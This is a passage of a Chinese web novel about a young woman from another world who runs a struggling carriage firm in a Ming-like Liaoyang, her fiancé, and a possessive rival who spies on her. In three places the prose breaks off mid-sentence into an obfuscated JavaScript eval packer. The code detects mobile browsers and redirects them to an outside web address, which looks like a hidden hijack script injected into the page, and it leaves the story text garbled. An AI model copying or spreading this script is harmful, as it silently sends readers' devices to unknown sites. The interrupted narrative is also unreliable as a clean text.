《竹马也可以是天降》 1. 乐弗 腊月底的辽阳，正是热闹时候。 满城都浸在暖融喜气之中，街巷张灯，门户贴红，连风里都飘着年味儿。 城外的太子河早已上冻，冰厚得能跑商队。往日沿街乞讨的流民乞儿，此刻也都寻着破庙，凑着同伴，缩作一团取暖，盼着能混上几口年食，好捱过这个寒冬。 天下人都在往团圆里凑。 唯独城南一间挂着“辽安驿运”匾额的车马行铺子，冷清得有些格格不入。 账房内，一盏孤灯映照着一位低头算账的女子，她一只手拢在兔毛暖手筒中，另一只手有一下没一下地拨弄算盘珠子。 账目越算越清晰，心也越来越凉，最后她指尖一顿，终是停了下来。 眼前的结果，明明白白，清清楚楚—— 入不敷出。 乐弗轻叹一声，将冻得微红的手重新揣回暖手筒，整个人索性蜷进椅子中，不再看那些糟心的算盘账册。 望着外头那片热闹，她有些感慨，心想再过几天，就是她来到这个世界的第十七个年头了，日子说快也快。 乐弗时常觉得自己是幸运的。 在这个名为“靖朝”的地方，在这个以宗法为本的封建时代，她有几个真心待她，知冷知热的父母长辈，有几个一路扶持的恩师益友，更有那么几个不在乎世俗礼教，愿意给她跑腿卖命的伙计。 正是这些人的存在，她这个懵懂的异乡灵魂才不至于被彻底同化。 时日久了，她慢慢放松了警惕，越发觉得这里也没那么可怕，那些规矩不过是唬人的摆设。 可老天爷向来不按人的心意走，平顺日子一长，总免不了要生出点波澜。 今年开春，风向忽然就变了，头一件怪事，是车马行丢了官府的生意。 每年三节两寿，照单全收她厚礼孝敬的递运所刘大使，竟连声招呼都不打，突然将她家车马行从官府承运名单上除名。 起初乐弗没往心里去，只当是衙门上头换了人，可紧接着，几个走南闯北的老主顾也失了音讯，再后来，连零散的民单也一天比一天少。 直到刚才，她对着账本，把那些零星进账和日常的嚼谷一笔笔算下来，才发现整整一年，挣的那点银子，竟只够给骡马买草料的。 往年这个时候，车马行的盈利摆在桌上，叠得山高，铺子里的伙计、护卫，个个都能拿着银子回家过个肥肥的好年。 今年别说分红，工钱发着都费劲，眼下全靠那三间杂货铺的盈余撑着，好歹收支能扯平。 乐弗想不通。 是辽东都司不太平么？可不太平也不是今年才开始的，去年同样有商队绕道过来，车行的单子也没断过。 是时运不济么？可她一个唯物主义者，也说服不了自己去信这个。 那就只能是有人暗中使坏了。 这个念头一冒，她反倒坐直身子，细细捋起这些年积攒下的人脉关系，却实在想不起得罪过谁…… “小东家！” 冷不丁一道炸雷似的动静在门口响起，乐弗惊得一激灵，猛地扭头，看清是车行里的老伙计后张口就骂：“狗叫什么！” 那人也不恼，笑容满面地走进来：“小东家，我来献策！” “……”乐弗不想打消齐宝的积极性，毕竟这是他为数不多肯动脑子的时候，“你说。” 齐宝仍嫌眼下不够乱，张嘴就撺掇：“不如搞几抬二人小轿？短途载客用，轿夫就让护卫们兼着干，也比干养着那帮人强啊！” 简直一派胡言！ 乐弗都要气笑了：“咱们雇这帮护卫是为了给人抬轿子的？传出去不得让同行笑话死！” 倒不是她职业歧视，而是她家车马行的招牌立的就是“精锐护卫、走南闯北”。 若是护卫都能随随便便改行做轿夫，往后谁还敢把身家性命托付给她辽安驿运？ “再说了，你以为抬轿子是个轻省活儿？就他们那几个五大三粗的，再给人颠吐了……滚！” 这时账房门口传来一阵嘻嘻哈哈的哄闹，几个伙计押了赌注，都等着看齐宝的笑话。 “我就说吧，他准得挨骂。” “给钱给钱！” 乐弗坐在屋内听得一清二楚，暗暗佩服这几人的心理素质，眼见着年底分红没着落呢，竟还有闲心打赌耍乐。 “等会儿。”她叫住了耷拉脑袋往外走的齐宝，指着算盘旁那尊三足玉蟾，“拿去当了，银子给大伙分分。” 这尊三足玉蟾料子极好，玉质通透，当个六七百两没问题，足够给底下的发些年饷。 当了？齐宝看着桌上那尊玉雕，脑子一时转不过弯，“可它不是你相好的雕的吗，说当就当，回头人家知道了，能乐意？” 乐弗系斗篷的手顿住，瞬间，脑子里晃过那个人的模样。 彼时他握着刻刀，手指修长干净，对着玉石一点点雕琢，神情专注，呼吸轻缓。 清隽认真，又温柔得不像话。 她心头只软了一瞬，马上就被现实狠狠拉了回来。 不乐意也没法子，伙计们还等着银子回家过年呢……下次见了他，说些软话，多哄两句便是。 “不过一块死物，当就当了。” 说完，乐弗头也不回地往外走。 申时末尾，天色只剩最后一点亮光，以往她都是乘车轿回去，可如今这光景…… 乐弗觉得还是给自家骡马省些草料吧，左右这里离家也不远，一柱香的脚程。 她紧紧身上斗篷，带上大毛风帽，独自朝衙署大院走去。 冷风一吹，又不受控制地想起那人。 简自澄，她的未婚夫。 二人门户相当，性情相投，在两家大人眼里，这门亲事是天造地设，水到渠成，仿佛他们生来就该是一对儿。 最开始，乐弗没指望在这个女子处处受制的世道里，能嫁得什么正常男人。 你跟这里的人谈什么自由尊重权利梦想，他们表面上附和，转头就能把你关进祠堂，美其名曰“治治疯病”。 况且本朝官宦人家独女的多得是，便是终身不嫁，跟爹娘一起安安稳稳过一辈子的也不在少数，乐弗原本的计划也是这样。 可偏偏，她遇上了温和干净，认真到有些笨拙的简自澄。 每每想起，乐弗嘴角都止不住上翘。 她承认，最开始接近简自澄是奔着利用去的。 十年前，那时的辽东都司还算太平，开原、抚顺两处互市的货品，早已供不上整个辽东军民的日用挑费，眼见着往来的夷人客商越聚越多，朝廷索性在辽阳城外又增设了一处互市。 因着辽阳是辽东都司的治所，所以这里的抽分高得吓死人。 若老老实实在互市交易，赚来的银子三十抽一，再加上牙税，市税，吏卒的常例孝敬，少说要抽走一半。 这些人本就赚个辛苦钱，谁乐意把银子送给那群当官的？只要不是铁器，火药那些禁物，寻常东西私底下能卖就卖。 没过多久，私市就冒出来了。 夷商绕过重税，偷摸将零散百货以更低的价格出售，百姓也省了银子，两头都极为划算，是个人都愿意往私市跑。 那时辽东管控松弛，上面对这种私下交易也是睁一只眼闭一只眼，既不公开认可，也不往死里查。 在乐弗看来，这就是一块无人争抢的蓝海市场。 辽东军民的基数何其庞大，若是能合理绕开重税，直接对接两边供需，那银子还不是流水般往兜里淌？ 可她是个女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杂货铺生意一日好过一日，结果前年边关突然不太平起来，女真和鞑靼就跟吃错药了似的，频频扰边。 也不动真刀真枪，今天晃悠一圈，明天闹腾两下，纯纯的癞蛤蟆趴脚面，不咬人膈应人。 最后把朝廷膈应得实在没辙，就把开原的互市关了。 开原一停，辽阳这边顿时唇亡齿寒。 乐弗这才意识到，这片她认为的蓝海市场，说到底就是波涛中的无根飘萍，时局稍有动荡，她就得跟着遭殃。 想长久安稳下去，还是得做实业。 于是，辽安驿运诞生了。 想着想着，乐弗止不住地叹气。 车马行开是开了，可今年也不好做……究竟是哪里出了岔子？ 乐弗将风帽往下扯了扯，一圈厚绒绒的银鼠皮几乎遮住大半视野，她低头只顾赶路，脑子里还在一门心思琢磨出路。 走着走着，眼前猛地一暗。 她猝不及防撞了上去，眼看就要摔在地上，一只力道极大的手稳稳扣住她的胳膊，将人捞了回来。 乐弗本就因为车马行的事上火，这下大平地跟人撞上，再也控制不住脾气。 风帽一掀，她张嘴就骂：“瞎了你的狗眼！” 结果骂完才发现是熟人。 这人身形极为挺拔，宽肩厚背，往跟前一站跟堵墙似的，光是投下的阴影都能把她罩住。 五官轮廓又深，高鼻薄唇，一双眼黑沉沉的深不见底，此刻正居高临下，垂眸盯着她。 “……” 光是看见宗钦这张脸，她就堵心。 2. 宗钦 自从来到这儿，乐弗对谁都存着几分感激，唯独对着眼前这位，是半点儿好感也无。 在她眼里，宗钦从小到大就没干过一件人事。 念书时处处较劲，开杂货铺时冷言嘲讽，如今仗着有个功名，更是成天在她跟前颐指气使。 还得罪不起。 谁让他爹是先帝亲封的广宁侯、五军都督府都督同知、辽东总兵官呢？ 这三个名头随便拎出一个，都够她这小车马行喝一壶的，更别提她爹还在人家手底下做官。 “发什么呆。”宗钦视线落到她冻得通红的鼻尖上，“怎么没套车？” “还能怎么……没钱！”她疲惫地嘟囔一句，自顾自往衙署大院里进。 宗钦落后两步，不远不近地跟着，二人一路无话。 乐弗闷头直奔花厅，进去也不说话，拿布巾擦了擦手，径自落座用饭。 然而她刚坐下，身后的宗钦就跟回到自己家似的，十分自然地在八仙桌对面跟着落座，连句客气话都没有。 乐弗心里一阵膈应。 累了一天好不容易吃口热饭，睁眼还得对着这么个倒胃口的东西…… 当年两家人同时从京城调来辽阳，一路同行，到了这里又一起住进衙署大院，只隔了一堵院墙，近得连声咳嗽声都能听见。 乐弗被迫和宗钦一同长大。 此人白日习文下午习武，没一天闲着，还总找她爹指点文章，食不言寝不语，一副大家做派，把她衬得像个未开化的野人。 这些年她娘挂在嘴边最多的一句话，永远是：“看看人家。” 若不是宗钦亲爹还活着，她娘恨不得直接把人揽过来当亲儿子养。 任谁被这样对照着打压都不会痛快。 她曾不止一次纳闷，这人放着广宁的总兵府不住，非得跟几个小官挤在辽阳的衙署大院干什么？ 难道就为了给她添堵？ 乐弗想不通，越看眼前这人越心烦，汤匙搅得瓷碗叮当作响。 一进花厅，沈德仪就瞧见闺女那一脑门子官司的倒霉相，不咸不淡开口：“不痛快，也别拿碗碟撒气。” “娘。”乐弗这才不情不愿撂下汤匙。 “伯母。”宗钦起身行礼。 沈德仪摆摆手，示意他坐，“账目捋得可还顺当？” “顺当极了。”乐弗心想就那点碎账出入，闭着眼睛都能算对。 “那便好，过完年就别再瞎折腾了，收收心，在房里绣绣嫁衣得了。” 一听这个，乐弗脸上顿时透出几分无奈：“嫁衣而已，哪儿不能买套现成的，非得亲自绣么？而且凭什么只有我做针线，简自澄怎么就不用动手？” 沈德仪闻言狠狠夹了女儿一眼，“半点儿规矩都没有……人家肯要你，我和你爹就烧高香了！” 乐弗却毫不在意，夹了一片水晶蹄冻小口嚼着，含糊丢出一句：“他敢不要。” 沈德仪气笑了，指着女儿对一旁的宗钦无奈道，“你听听，这个混不吝的，气死我拉倒！” 宗钦垂在桌下的指尖下意识蜷曲，面上端得温雅平静： “伯母说笑了，她这样真性情，很难得。” “对了，说起小简那孩子……”沈德仪忽然想起什么，看向宗钦，“你们这一批要考会试殿试的，过完年就得从辽东动身往京城去了吧？” “是，过了初三便启程了。” 沈德仪一听，眼角微微弯起，“那正好！你与小简一同赴考，到时路上结伴，彼此也好有个照应。京城地方大，人心杂，你就替乐弗多盯着点，别让他胡来……” “娘！”乐弗急忙打断，“简自澄他不是那种人！” 沈德仪嗤笑一声，语气带着一股见惯世情的凉薄：“男人到了京城那地界，有几个能守住裤腰带的？倒不求他出人头地，只盼他别在外头惹一屁股腥臊，免得连累你一身，我也就知足了。” “……”这话是不是糙了点儿？乐弗还想说些什么，却被宗钦抢先： “伯母放心，我会好好看着他。” 听得这句保证，沈德仪立刻露出笑容，连连点头：“有你这句话，再没什么不放心的！你最是稳当，说实话，我真巴不得你是我亲生的才好！” 又来了又来了。 乐弗悄悄翻了个白眼，迅速扒完饭起身走人。 “哎？干嘛去！”身后传来沈德仪的呼喊。 “我不耽误你们母子俩叙话！” 说罢，乐弗径直冲回自己屋子，一进去反手带上房门。 暖黄的灯光照亮书房一角，她坐在书案后，翻起桌上堆着的各式信件，从中抽出那张递运所刘夫人的回帖，拆开一看，上面委婉写着： ［年下事务繁杂，暂不便接待］ 除了这几个字，帖子里还原封不动地退回了她上次送过去的银票，竟半点情面都不讲。 乐弗轻嗤一声，心里早有预料。 “藤梨！”她朝外高喊了一声。 不过片刻，一个圆脸灵动，手脚麻利的小丫头跑了进来：“姑娘，啥事？” “去车马行捎个信儿。”乐弗将帖子往案上一扔，语气干脆，“让他们盯着递运所那姓刘的，只要他家夫人出门，立刻来报我。” “哎！”藤梨应得脆生生，身形轻快得像只小雀，转眼就没了踪影。 乐弗缩进圈椅，垂眸看着桌面上摊开的银票，心里缓缓盘算。 那姓刘的夫妻，这两年吞了辽安驿运不知多少好处，如今一声不吭断了她的路子，只返还一百两就想划清界限？ 那是万万不能够。 既然不让辽安驿运接官府差事，先前吃进去的孝敬，就得原封不动地给她吐出来。 她就不信刘夫人一辈子不出门，不理事。 且有遇上的时候。 此刻屋内地龙烧得暖融融的，乐弗简单擦洗一番，换上月白软缎寝衣，带着潮气的头发随意披散着。 重新坐到书案后，她慢慢拆起简自澄送来的信。 什么前天吃了饺子、昨日做了两篇文章、今日堆了雪人，全是流水账，展开最后一封信纸时，乐弗终于露出点笑模样—— 竟是幅画。 画中是辽阳互市的一角，兀良哈三卫的交易圈旁，她正蹲在那儿与两只小班克尔嬉闹。笔触潦草却透着灵动，尤其两只狗子的豆豆眉，被简自澄画得憨态可掬，惹人怜爱。 这傻子，春闱在即，他不是被祖父压着备考么，怎么还有闲功夫画这个…… 乐弗兴冲冲地提笔就要回信，然而敲门声突然响起。 “进。” 门一开，宗钦提着食盒进来了。 她脸上的笑意顿时褪去，手忙脚乱地披上罩衣，“你怎么还没回去？” “方才与伯母聊得投契，临走时，她让我把炖好的汤品给你送来。” “知道了，搁在外间吧。”乐弗语气冷硬，神色肉眼可见的不耐烦。 宗钦没说话，抬手撩起珠帘，径直走到书案前，将食盒压在摊开的信纸上。 眼见着食盒底部的湿热气，将信上字迹洇开，乐弗抬起头，难以置信地望着他：“你有病？” “伯母说了，养藏汤趁热喝才好。” 宗钦脸上依旧是那副云淡风轻的模样，黑沉的眸子一瞬不瞬地锁在乐弗脸上，仿佛没听见她的斥骂一样。 “我问你是不是有病！”乐弗并不接茬，只一味的问候他的身体。 他面色淡了几分，语气听着平静，却带着命令意味：“喝了。” “……” 乐弗懒得跟这活驴纠缠，掀开食盒，端出那盏还在冒热气的养藏汤一饮而尽。 “咚”的一声，汤盏被她狠狠丢回食盒，瓷面相撞，声音十分刺耳。 等宗钦一走，她才小心翼翼从书信底下扒拉出那张画。乍一看，上头洇开黑乎乎三团，像谁拿鞋底子印上去的。 乐弗取来布巾，小心翼翼地吸干纸上的潮气，却越碰越花，气得她一把将布巾掷出老远，咬牙切齿： “早晚找人弄你！” “弄谁？”藤梨迈着轻快的步子进来复命，“齐宝叔听我说完，当即领了护卫就往递运所那边踩点去了。” “知道了。”说着，乐弗从抽屉里摸出一个红封递过去，“这一年替我跑进跑出的，你辛苦了，明天就家去吧，跟你娘过个团圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341549|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年。” 藤梨喜上眉梢，美滋滋接过红封傻笑好几声，可突然想起什么似的，又把红封搁回书案上了。 “怎么？”乐弗一怔。 “家是能回。”藤梨抿了抿唇，“钱就不拿了，拿回去也是揣进我爹的腰包，姑娘给我存着吧。” “也成。”乐弗伸手把那红封收进抽屉。 藤梨笑嘻嘻地蹲身一福：“先谢姑娘了，等我爹那头的窟窿填不上，再来求姑娘赏我！” 说完，小丫头转身往外走，脚步依旧轻快，透着股雀跃劲儿。 书房安静下来。 被宗钦这一番搅和，乐弗回信的兴致也没了。对着书案上那乱糟糟的一摊发了会儿呆，最后轻叹一声，吹熄了灯回到卧房。 照理说，车马行的糟心事堵在心里，够乐弗辗转半宿的，可她刚沾上枕头，眼皮就耷拉下来，几息的功夫便沉沉睡去。 丑时刚过，月亮西斜。巡夜的更夫敲过三更，整座辽阳城静得只剩薄薄一层月光，洒在青石板路上。 乐弗的房门被人推开。 靴尖踩在地砖上，步伐大大方方，仿佛半夜摸进别人闺房是什么天经地义的事。 来人径直进到书房，任由珠帘在身后轻响。他绕到书案后坐下，一只手把几张信纸一并抄起来，凑到月光底下。 他看得很慢，目光从这行移到那行，从这字移到那字，像要把纸面烫出两个洞来。 信看完了，来人开始翻别的。 抽屉拉开，翻两下，关上。妆匣掀开，拨拨里头的簪子耳坠，再原样盖回去。书架上的书帖手稿看完又随手撂下，不管原本是叠着还是摊着。 他翻得很细。像是在找什么，又或者只是享受翻动乐弗东西的滋味。 直到无物可看，来人迈着从容的步子，转进卧房，在乐弗床边坐下。 眼前这个人白日里总是绷着，跟他较着劲，此刻却安静极了，柔顺地躺在他眼皮子底下，羔羊一般。 视线一点点下移，落在那张唇上。 他见过这张嘴说话的样子，可没一句是他爱听的，每次都往他心口上剜，疼得他夜不能寐，翻来覆去地想—— 想她凭什么，想她怎么敢。 现在它不说话了。 乖乖合着，湿软饱满，倒像是等着谁来亲一口似的。 喉结不受控制地滑动。 就在他试探着低下头时，窗子那边轻轻响了一声，像是夜猫子踩瓦的动静。 俯身的动作一顿，那股冲动顿时消散，来人直起身，几步跨进院子。 藤梨站在廊下，见宗钦出来，上前低低唤了声：“公子。” “怎么？” “姑娘让我回家过年。”藤梨表情茫然，挠了挠头，“我该回哪儿？总不能蹲在庙门口喝西北风吧？” 当年，公子让她来姑娘身边做个丫鬟，表面伺候实则监视，可这些年姑娘待她是真心的好，一句重话也不曾说过，不仅教她认字看账，还总问家里的老子娘好不好。 老子娘……她哪来的老子娘？藤梨连自己姓什么都不清楚，不过是个被侯爷捡回总兵府的孤女而已。 可这话能对姑娘说么？ 一个谎撒出来，下一个谎就得跟上，于是她编了什么爱赌的爹、做针线贴补家里的娘、年幼的弟妹……乱到她自己都记不清了。 “公子。”藤梨叹了口气，“我心里实在不落忍。” 她不想再骗姑娘了。 此话一出，宗钦终于肯正眼瞧她，“不落忍？” 藤梨立马意识到自己说错话了，低下头，大气不敢喘一声。 “若你记不住自己是谁的人，我有的是办法帮你想起来。” 藤梨腿一软，差点给他跪下去，她是见识过宗钦手段的，此刻吓得小脸发白，哆哆嗦嗦回话：“我、我自然是公子的人！” “你最好是。”扔下这几个字，宗钦转身走了。 目送那道背影消失在月洞门外，藤梨才松开攥着的手，长长呼出一口气。 月光还是那层月光，铺在地上冷寂如霜。 她抬手抹了把额头，满手心的冷汗，心想被鬼盯上，也不过如此了。 3. 爆竹 这个新年，辽东都司依旧过得不太平。 渔猎部族那帮人，不讲究什么过节不打仗那套虚礼，趁着汉人过年松懈，海西女真又派出游骑出来打秋风了。 腊月二十九这天，开原的急报送到辽阳，宗钦他爹当即下了一道严令：辽东都司全境戒严，禁绝一切爆竹烟火。 因为爆竹炸开的声音听着像铳响，惊扰营盘事小，若被误作烽火警报，那便是掉脑袋的死罪。 是以除夕这日，辽阳城的大街小巷鸦雀无声，路上就连车架也不见几辆，整座城像是被风雪冻住了，唯独递运所衙署的房顶上，猫着俩鬼鬼祟祟的人影。 齐宝裹着磨破边的旧棉袄，冻得鼻尖通红，从怀里摸出一把扁扁的小锡壶，拔下木塞，先自己抿了一口，又塞给同伴：“少喝点，暖暖身子意思意思。” 葛喜生接过酒壶直接灌了一大口，烧刀子从喉咙滑进肚，像一条火线直直劈下去，辣得他呲牙咧嘴，半天没喘上气。 “真够劲……我说宝哥，这姓刘的两口子大门不出二门不迈，咱就干趴在这儿，冻得我骨头缝都疼了。” 齐宝从他手里夺回酒壶，重新揣进怀里捂着，不冷不热扫他一眼：“嫌冷？” “冷也得受着。这姓刘的断了车马行生路，不把他啃下来，往后咱们都得喝西北风去。” “唉！”葛喜生翻了个身，摸摸口袋里那十几两碎银，“说的也是，今年挣的还不如去年零头多呢。” “知道就好！” 二人正抱怨着，衙署角门突然开了道小缝。 里头走出个打扮得体的婆子，手里挎着竹篮，跟门房吩咐：“……子时套车，夫人要连夜回娘家。” 那门房很是惊讶：“往年不都是初二才回吗？” “你懂个屁！初二街上全是走亲访友的，若撞上熟人，麻烦一堆。”婆子絮叨两句，又挎着竹篮进去了，角门“咔嗒”一声关死。 房顶上趴着的二人对视一眼。 “这两口子真不是一般的精……”葛喜生压低声音啧啧两声。 眼见着亥时已过半，齐宝没多余废话，伸手往他胳膊上一拍，“别磨蹭！立刻去给小东家报信，这里有我盯着。” * 花厅里灯烛煌煌，炭盆烧得正旺，把一院寒气都挡在门外。 乐弗陪着父母围坐守岁，八仙桌上摆着几碟蜜饯干果，一壶椒柏酒温得正好。 她方才浅饮了两杯，此刻酒意上脸，浮起一层浅浅的红，眼皮也发沉，脑袋一点一点，已然是困得不行。 这时沈德仪身边的画屏进来，步履稳当，走近了屈膝一福： “夫人，外头来了个小皮猴子，不报名字也不道来历，嘴里颠三倒四，留下一句‘仓边灯亮，子时归门’就走了，底下人听不明白，特来禀报。” 沈德仪听罢，脸上露出几分纳闷，“什么驴唇不对马嘴的……” 一旁，端着茶杯的乐廷章，下意识看向乐弗—— 他差点没笑出声来。 只见方才还困得眼皮打架的闺女，此刻跟被人从后头猛戳了一下似的，整个人瞬间支棱起来。 老父亲看破不说破，慢悠悠掀开茶盖，撇了撇茶沫，轻轻呷了一口，神情惬意如常。 乐弗再也坐不住了，当即起身，张口编了个极烂的理由：“爹，娘，女儿回房绣嫁衣去了！” 不等二人反应，她脚步一错，顿时消失在门外，快得像阵风刮过。 绣嫁衣？ 平日里连针都懒得摸的人，大年三十倒突然勤快起来了？ 沈德仪这才觉出不对，缓缓转过头，目光刀子似的，刮向身旁的丈夫。 “说！” 乐廷章顿时头皮发紧，眼神飘忽两下，老老实实放下茶杯，全交代了： “递运所那边的关系卡着，她正想法子疏通呢。” 沈德仪眉头当即拧成一团，追问道：“什么叫卡着？车马行遇上难处了？” “不清楚。”乐廷章含糊一句。 不清楚？沈德仪的火气噌地上来，声音拔高几分： “那你这个参政是干什么吃的，啊？头上官帽是纸糊的不成？闺女向来报喜不报忧，要不是真被逼到没法子，她能这般偷摸避着你我？” 越看木讷丈夫越来气，沈德仪胸脯起伏： “哪怕给孩子开个后门呢？一句话的事，就非得这么死板？我当初还不如嫁个木头桩子，出了事，好歹能给我儿垫个脚！” 老父亲被骂得一言不发，嘴唇嚅动几下，到底没敢出声。 哪里是他不愿帮？是闺女自己要避嫌。 不然天底下哪个当爹的，能眼睁睁看着女儿受苦不管的？ 乐廷章越想越憋屈，只恨不能把心剖出来给沈德仪看看。 * 丑时刚过，辽阳城北，椿树胡同内。 一辆青帷马车辘辘而行，眼看着再往前就是张家的宅子，车夫收了鞭子，让马儿走慢些。 “夫人，到了。” 刘夫人正倚着引枕打盹，闻言坐直身子，理了理鬓发。婆子已搬了脚凳在车旁候着，伸手来扶。 脚刚落地，她就觉得不对，门缝里透出来的光太亮了。 丑时都快过了，按理说老太太早该歇下了，怎么看着像是点了满院的灯？ 她心里头转过好几个念头。 莫不是她老娘出了什么事？老人家的身子骨，夜里忽然亮灯，怕不是…… 刚想到这儿，她狠狠啐了自己一口。 胡说！真要有事，门口早该有人候着，哪能这么安静？ 算了，进去看看就知道。 “你留在这等我。” 她独自上前推开虚掩的黑漆门，穿过影壁，绕过回廊，越往里越觉得不对劲。 院子里亮堂堂的，廊下挂着一溜红灯笼，等她绕过最后一道月洞门，抬眼一看，整个人愣在那里。 正厅前的院子里，堆得满满当当，全是年礼。 绸缎摞得齐腰高，盒装点心垒得像座小山，整扇的羊肉、成坛的老酒、还有一担盖着红布的大箱子，瞧那分量怕是装满了干货海味。 刘夫人还没来得及弄明白这是怎么回事，就听正厅里头传出一阵笑声，她快走几步迈上台阶，往里一探头—— 上首的椅子上，她老娘正笑得合不拢嘴，拉着旁边人的手亲切握着，絮絮叨叨不知在说什么。 被她娘拉着的那个，穿着浅蜜合色潞绸面袄，银鼠卧兔儿箍着额发，毛茸茸一圈衬得脸蛋只有巴掌大。 灯下看去，那人不过十六七的年岁，面容明媚端丽，正侧着头听她娘说话，偶尔点点头，嘴角浅浅一弯，满屋子的灯火都跟着软了几分。 “……”刘夫人心里那叫一个后悔。早知乐弗这么难缠，当初就不该跟辽安驿运搭上线！ 可没办法，来都来了。她咬了咬牙，硬着头皮往里走。 乐弗的余光一直扫着门外，见刘夫人出现，心想可算逮着你了。 她适时地抬头，像遇见喜事似的笑着迎过去：“夫人！” 刘夫人心里直骂街，脸上却不得不挤出笑来：“哟，你这孩子……大年夜的，不在家守岁，跑出来做什么？” “给老太太拜年要紧。”乐弗笑着，眼睛弯弯，像是什么都没听出来。 “你有心了。”刘夫人瞥了一眼院子里堆得满满当当的年礼，皮笑肉不笑地补上一句，“可这半夜三更，黑灯瞎火的，你也不怕？” 乐弗仰起脸，模样又乖又软：“夫人都不怕，我自然也不怕的。” 刘夫人眼角抽了抽，只觉得嗓子眼儿里堵了一团棉花，愣是不知该回什么。 这时老太太起身，拉住乐弗冲着女儿直念叨：“这孩子往你那儿跑好几趟了，说要送年礼，愣是没见着你人。没法子，索性全拉我这儿来了。” “这不是年根儿底下么，递运所那一摊子事，忙得脚打后脑勺……”刘夫人干巴巴解释。 “行了行了。”老太太打断她，又拍拍乐弗的手，“我是老了，熬不住了。你们娘儿俩既遇上，就在这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341550|199357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好聊聊，我去后头歇着。” 说着，老太太真就慢悠悠往后头走，刘夫人急忙跟过去搀扶。 正厅顿时静下来。 乐弗也不急，慢悠悠给自己斟了杯茶，小啜一口，茶香顿时在舌尖化开，她惬意地坐回椅子，守株待兔。 没多久帘子一响，刘夫人去而复返，脸上的笑早没了，眼神凉飕飕地扫过来。 乐弗只当没看见，依旧热络：“夫人快来尝尝，这可是建宁探春，都司分下来的余贡，我特意托人弄来的。” 刘夫人几步挪到她身边坐下，拎起茶壶给自己也倒了一杯。 茶汤澄亮，她低头看了一眼，没喝。 “你连余贡茶都能弄到，”刘夫人语气不咸不淡的，“怎么还盯着我们夫妻不放？” 乐弗不紧不慢放下茶盏，“再稀罕的贡茶，只要肯花钱，总能弄到几两。可刘大使手里的承运名录……” 她轻轻叹了口气，语气无奈又羡慕：“那东西，我有银子也上不去啊。” 刘夫人眉头动了动，没接话。 乐弗收起笑意，换上一副诚恳的模样：“夫人，咱也别绕弯子了。辽安驿运，也不是非得攀着官府的承运名录不放。可有一点……” 她顿了顿，直视着刘夫人的眼睛，“我就是想知道，为什么，您二位把我家从承运名录上给抹了？” 此时外头远远传来一声更鼓，到寅时了。 “您瞧，天一亮就初一了，您总得让我死得明白吧？” 刘夫人叹了口气，把茶盏往桌上一搁，摆出一副推心置腹的架势： “承运名录是都司衙门亲自筛选的，说是要精简名额，择优录用。我也替你争取过，可上头只说你们成立时间短，底子薄……” 她摇摇头，一脸的爱莫能助：“我们夫妻就是跑腿办事的，上头怎么定，我们就怎么执行，你也别多想。” “行，明白了。”乐弗举起手边的残茶一饮而尽，转身就往外走。 竟糊弄过去了？ 刘夫人愣了一愣，看着乐弗背影消失在门外，长长吁了口气。 她往椅背上一靠，端起茶盏刚想抿一口，忽然外头传来一声脆响。 啪。 像是拍巴掌的声音。 刘夫人心里咯噔一下，还没来得及起身，就听见扑通扑通两声闷响，两道人影从天而降，齐刷刷落在院子里。 “……”她惊得手里茶盏差点摔了，腾地站起来几步冲到门口。 那两个黑影已合力将院子里最大的一箱年礼抬到阶下。 乐弗立在阶上，背对着她一动不动。 “你、你这是干什么？！”刘夫人声音都变了调。 没人回话，两个黑影上前掀开箱盖。 刘夫人往里一瞅，腿肚子当场软了。 只见里头满满一箱爆竹，码得整整齐齐，引信露在外头，像一窝吐着信子的红蛇。 乐弗从齐宝手里接过火折子拔开，火苗顿时窜出来，在夜风里忽明忽暗。 她这才转过身看着刘夫人，语重心长：“夫人，泥人尚有三分土性，何况我？” 刘夫人张了张嘴，没发出声。 “这两年，给您二位的孝敬，没有八百也有一千了，老太太这宅子还是我给置办的，做人要讲良心。” 刘夫人已经听不进乐弗的话了，嘴唇哆嗦着，眼睛死死盯着那支火折子。 “您二位在衙门当差，显然也知道今年私放爆竹是什么罪过。”乐弗叹了口气，“今儿个话不说清楚，就别怪我手底下没个准头了。” 说着，她故意将火折子往下一探。 “别！”刘夫人惊叫一声，吓得当即软倒在台阶上。 见她还不肯说实话，乐弗摇了摇头：“或许你们夫妻不怕这趟牢狱之灾……” 她蹲下身去，跟刘夫人平视，“可断事司的审讯手段你也清楚，老太太年岁大了，只怕是抗不过这一遭。” 刘夫人眼里终于有了恐惧，她猛地抬起头：“我说！我说！” 4. 送行 乐弗没动，也没收火折子，就那么居高临下地看着她。 刘夫人咽了口唾沫，嗓子眼儿发紧：“是、是总兵府的人……” 乐弗眉头微微一挑，还是没说话。 “年初，总兵府来人找到我家那口子，说、说辽安驿运不能再上承运单子。”刘夫人语速又快又乱，恨不得一口气全倒出来 